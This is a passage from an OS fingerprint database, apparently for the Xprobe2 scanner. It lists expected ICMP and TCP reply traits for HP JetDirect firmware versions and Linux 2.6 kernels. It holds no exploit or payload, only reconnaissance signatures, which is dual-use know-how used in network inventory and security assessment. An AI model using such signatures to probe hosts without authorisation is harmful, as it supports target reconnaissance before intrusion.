icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.02 EEPROM G.08.04" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.19 EEPROM G.07.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.19 EEPROM G.08.03" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.07.19 EEPROM G.08.04" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.08.08 EEPROM G.08.04" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM G.08.21 EEPROM G.08.21" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM H.07.15 EEPROM H.08.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <60 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <60 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <60 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <60 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <60 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <60 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <60 } fingerprint { OS_ID = "HP JetDirect ROM L.20.07 EEPROM L.20.24" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 04 July 2003 #Modified: 04 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 11680 tcp_syn_ack_options_order = "MSS NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "HP JetDirect ROM R.22.01 EEPROM L.24.08" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 February 2005 #Modified: - #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5840 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } #Linux fingerprint { OS_ID = "Linux Kernel 2.6.11" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 January 2005 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 2 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.10" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 January 2005 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 2 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 2 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 7 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = 